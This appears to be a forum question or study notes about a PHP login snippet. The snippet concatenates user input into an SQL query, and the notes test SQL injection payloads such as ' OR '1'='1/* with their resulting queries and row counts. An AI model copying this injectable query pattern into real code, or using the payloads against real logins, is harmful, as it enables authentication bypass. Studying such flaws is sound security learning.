$email = $_POST['u_email'];
$password = $_POST['u_password'];

$query = "SELECT * FROM User WHERE EMAIL='$email' AND PASSWORD='$password'";
$result = $mysqli->query($query);
$counter = mysqli_num_rows($result);

echo "Counter: " . $counter . '<br>';
echo "Query: " . $query;
if($counter == 1)//Correct Login

Input
Username: abc@gmail.com' OR '1'='1/*
Password: */

Output
Counter: 1
Query: SELECT * FROM Usuario WHERE EMAIL='abc@gmail.com' OR '1'='1/*' AND PASSWORD='*/'

SELECT * FROM Usuario WHERE EMAIL='aa115@ikasle.ehu.es' OR '1'='1'

Input
Username: xxx' OR '1'='1/*
Password: */

Output
Counter: 0
Query: SELECT * FROM Usuario WHERE EMAIL='xxx' OR '1'='1/*' AND PASSWORD='*/'

SELECT * FROM Usuario WHERE EMAIL='xxx' OR '1'='1'

Input
Username: abc@gmail.com/*
Password: */

Output
Counter: 0
Query: SELECT * FROM Usuario WHERE EMAIL='abc@gmail.com/*' AND PASSWORD='*/'

SELECT * FROM Usuario WHERE EMAIL='xxx' OR '1'='1'